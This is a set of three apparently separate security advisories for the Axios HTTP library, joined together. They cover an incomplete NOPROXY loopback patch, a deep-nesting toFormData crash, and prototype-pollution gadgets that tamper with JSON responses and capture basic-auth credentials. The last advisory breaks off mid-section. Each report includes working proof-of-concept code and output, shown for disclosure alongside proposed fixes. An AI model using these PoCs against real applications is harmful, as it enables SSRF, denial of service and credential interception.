1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NOPROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NOPROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NOPROXY matching entirely and be forwarded to the configured HTTP proxy — even when NOPROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NOPROXY comparison.

The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1 const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NOPROXY protection even in the fully patched Axios 1.15.0 release.

Verification This bypass has been independently verified on:

Axios version: 1.15.0 (latest patched release) Node.js version: v22.16.0 OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location

| Field | Detail | | ------------- | ------------- | | File | lib/helpers/shouldBypassProxy.js| | Primary Flaw| isLoopback() — Line 1–3 | | Supporting Function | shouldBypassProxy() — Line 59–110 | | Axios Version | 1.15.0 (Latest Patched Release) |

2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199 function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var if (proxyUrl) { if (!shouldBypassProxy(location)) { // Step 2: Check NOPROXY proxy = new URL(proxyUrl); // Step 3: Assign proxy } } } } shouldBypassProxy() is the single gatekeeper for NOPROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NOPROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret NOPROXY → "localhost,127.0.0.1,::1" Comparison: "localhost." === "localhost" → FALSE → Proxy used ← BYPASS "[::1]" === "::1" → FALSE → Proxy used ← BYPASS Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

<img width="602" height="123" alt="01axiosversionverification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />

Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; // Remove IPv6 brackets: "[::1]" → "::1" if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') { hostname = hostname.slice(1, -1); } // Strip trailing FQDN dot: "localhost." → "localhost" return hostname.replace(/\.+$/, ''); }; Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // Line 108 — Final match condition: return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized: const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase()); // Each NOPROXY entry normalized: entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); // ^^^^^^^^^^^ // Only ONE IPv4 loopback address is recognized. // The entire 127.0.0.0/8 subnet is unaccounted for. // Line 3 — Lookup against this incomplete set: const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // ^^^^^^^^^ // Returns FALSE for any 127.x.x.x ≠ 127.0.0.1 <img width="884" height="135" alt="02vulnerablecodeloopbackaddresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />

RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

<img width="884" height="537" alt="03rfc1122loopbackdefinition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />

2.6 Step-by-Step Bypass Execution Trace Environment:

NOPROXY = "localhost,127.0.0.1,::1" HTTPPROXY = "http://attacker-proxy:5300" Target URL = "http://127.0.0.2:9191/internal-api" Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL parsed = new URL("http://127.0.0.2:9191/internal-api") hostname = "127.0.0.2" // parsed.hostname // Step 2 — Read NOPROXY environment variable noProxy = "localhost,127.0.0.1,::1" // lowercased // Step 3 — Normalize the request hostname hostname = normalizeNoProxyHost("127.0.0.2") // No brackets → skip // No trailing dot → skip // Result: "127.0.0.2" (unchanged) // Step 4 — Iterate over NOPROXY entries // Entry → "localhost" entryHost = "localhost" "127.0.0.2" === "localhost" → false isLoopback("127.0.0.2") → false ← Set.has() returns false BYPASS starts here // Entry → "127.0.0.1" entryHost = "127.0.0.1" "127.0.0.2" === "127.0.0.1" → false isLoopback("127.0.0.2") && isLoopback("127.0.0.1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Entry → "::1" entryHost = "::1" "127.0.0.2" === "::1" → false isLoopback("127.0.0.2") && isLoopback("::1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Step 5 — Final return shouldBypassProxy() → false // Axios proceeds to route the request through the configured proxy. // The attacker's proxy server receives the full request including headers // and any response from the internal service.

2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

| Aspect | Original Bug | This Finding | | ------------- | ------------- | ------------- | | What was wrong | No normalization before comparison | Incomplete loopback address set| | Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded | | RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 | | Bypass method | Alternate string representation | Alternate valid loopback address | | Impact | NOPROXY bypass → SSRF | NOPROXY bypass → SSRF (identical) |

2.8 Total Exposed Address Space Protected by patch: 127.0.0.1 (1 address) Unprotected loopback: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) Real-world services that commonly bind to non-standard loopback addresses include:

Internal microservices and admin dashboards using dedicated loopback IPs Development environments with multiple isolated service instances Docker and container bridge network configurations Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory mkdir axios-bypass-test && cd axios-bypass-test Step 2 — Initialize the project with the patched Axios version Create package.json:

{ "type": "module", "dependencies": { "axios": "1.15.0" } } Install dependencies:

npm install Verify the installed version:

npm list axios Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http'; import axios from 'axios'; // ── Simulated attacker-controlled proxy server ──────────────────────────────── const PROXYPORT = 5300; http.createServer((req, res) => { console.log('\n[!] PROXY HIT — Attacker proxy received request!'); console.log( Method : ${req.method}); console.log( URL : ${req.url}); console.log( Host : ${req.headers.host}); res.writeHead(200); res.end('proxied'); }).listen(PROXYPORT); // ── Simulated developer security configuration ──────────────────────────────── // Developer believes all loopback traffic is protected by NOPROXY. process.env.HTTPPROXY = http://127.0.0.1:${PROXYPORT}; process.env.NOPROXY = 'localhost,127.0.0.1,::1'; // ── Test helper ─────────────────────────────────────────────────────────────── async function test(url) { console.log(\n[] Testing: ${url}); try { const res = await axios.get(url, { timeout: 2000 }); if (res.data === 'proxied') { console.log(' Result → [PROXIED] ← BYPASS CONFIRMED'); } else { console.log(' Result → [DIRECT] ← Safe, no proxy used'); } } catch (err) { if (err.code === 'ECONNREFUSED') { console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)'); } } } // ── Test execution ──────────────────────────────────────────────────────────── setTimeout(async () => { // Section A: Cases fixed by the existing patch — expected to go DIRECT console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ==='); await test('http://localhost:9191/secret'); await test('http://localhost.:9191/secret'); await test('http://[::1]:9191/secret'); // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ==='); await test('http://127.0.0.2:9191/secret'); await test('http://127.0.0.100:9191/secret'); await test('http://127.1.2.3:9191/secret'); process.exit(0); }, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) === [] Testing: http://localhost:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://localhost.:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://[::1]:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) === [] Testing: http://127.0.0.2:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.2:9191/secret Host : 127.0.0.2:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.0.0.100:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.100:9191/secret Host : 127.0.0.100:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.1.2.3:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.1.2.3:9191/secret Host : 127.1.2.3:9191 Result → [PROXIED] ← BYPASS CONFIRMED <img width="1621" height="739" alt="05pocexecutionbypassconfirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />

3.3 Analysis of Results The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NOPROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NOPROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests Condition 2: Has HTTPPROXY or HTTPSPROXY set in its environment (common in corporate networks, cloud deployments, containerised environments, and CI/CD pipelines) Condition 3: Relies on NOPROXY=localhost,127.0.0.1,::1 (or similar) to protect loopback or internal services from proxy routing Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|

Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects: Application → 127.0.0.2:8080 (direct) Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080 The proxy receives: - Full request URL - HTTP method - All request headers (including Authorization, Cookie, API keys) - Request body (for POST/PUT requests) - Full response from the internal service The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NOPROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer): NOPROXY = localhost,127.0.0.1,::1 What developer believes is protected: All loopback/internal addresses What is actually protected: Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses) What remains exposed: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

Retrieve temporary IAM credentials Access environment variables containing secrets Enumerate internal service configurations Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

| Internal Service Type | Exposed Data | | ------------- | ------------- | | Admin panels / dashboards | User data, configuration, logs | | Internal APIs | Business logic, database contents | | Secret managers / vaults | API keys, tokens, certificates | | Health check endpoints | Infrastructure topology | | Development services | Source code, environment variables |

Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

| Internal Service Type | Exposed Data | Exposed Data | | ------------- | ------------- | ------------- | | Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | | Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | | CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | | Attacker effort| Trivial | Trivial | | Detection by developer | None | None | | Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0 // Lines 1–3 (VULNERABLE) const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); This hardcoded Set is subsequently used at line 108 during the final NOPROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE) return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // isLoopback("127.0.0.2") → LOOPBACKADDRESSES.has("127.0.0.2") → FALSE // This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1 Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js // Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant) const isLoopback = (host) => { // Named loopback hostname if (host === 'localhost') return true; // IPv6 loopback address if (host === '::1') return true; // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3) // Matches any address from 127.0.0.0 through 127.255.255.254 const parts = host.split('.'); return ( parts.length === 4 && parts[0] === '127' && parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) ); }; 5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js - const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); - - const isLoopback = (host) => LOOPBACKADDRESSES.has(host); + const isLoopback = (host) => { + if (host === 'localhost') return true; + if (host === '::1') return true; + const parts = host.split('.'); + return ( + parts.length === 4 && + parts[0] === '127' && + parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) + ); + }; All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3: "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1) Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NOPROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.

Linux routing table — default configuration $ ip route show table local | grep "127" local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 Proof: 127.0.0.2 is a valid loopback address on Linux $ ping -c 1 127.0.0.2 PING 127.0.0.2: 56 data bytes 64 bytes from 127.0.0.2: icmpseq=0 ttl=64 time=0.045 ms

<img width="711" height="181" alt="04linuxloopbacksubnetproof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" />

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

<img width="588" height="198" alt="06ping127 0 0 2loopbackconfirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" />

Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

1. Two direct string comparisons ('localhost', '::1') — O(1) 2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:

The parseNoProxyEntry() function The normalizeNoProxyHost() function The shouldBypassProxy() main function logic Any other file in the codebase This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider: '0:0:0:0:0:0:0:1' // Full notation of ::1 '::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback '::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback Normalising these representations before comparison would make the NOPROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data';

function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; }

try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded

Server-side reachability example: js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.

---

Background: how mergeConfig builds the config object

Every axios request goes through Axios.request in lib/core/Axios.js#L76:

js config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

js const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.

---

Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

js return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

js forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios.request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (servergadget1.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tokrealabc' })); });

server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); });

$ node servergadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET /

Terminal 2 -- client (pocparsereviver.mjs):

js import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via .merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; };

const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;

$ node pocparsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tokrealabc" [app] received: {"role":"admin","balance":999999,"token":"tokrealabc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.

---

Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

js if (config.transport) { transport = config.transport; }

transport is listed in mergeMap inside mergeConfig (line 88):

js transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

- options.hostname, options.port, options.path -- full target URL - options.auth -- basic auth credentials in "username:password" form (set at line 606) - options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (servergadget2.mjs):

js import http from 'http';

const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); });

server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); });

$ node servergadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poctransport.mjs):

js import axios from 'axios'; import http from 'http';

Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, };

const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svcaccount', password: 'hunter2' }, }); console.log('[app] response status:', res.status);

delete Object.prototype.transport;

$ node poctransport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svcaccount:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, /","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.

---

Additional gadget: transformRequest / transformResponse

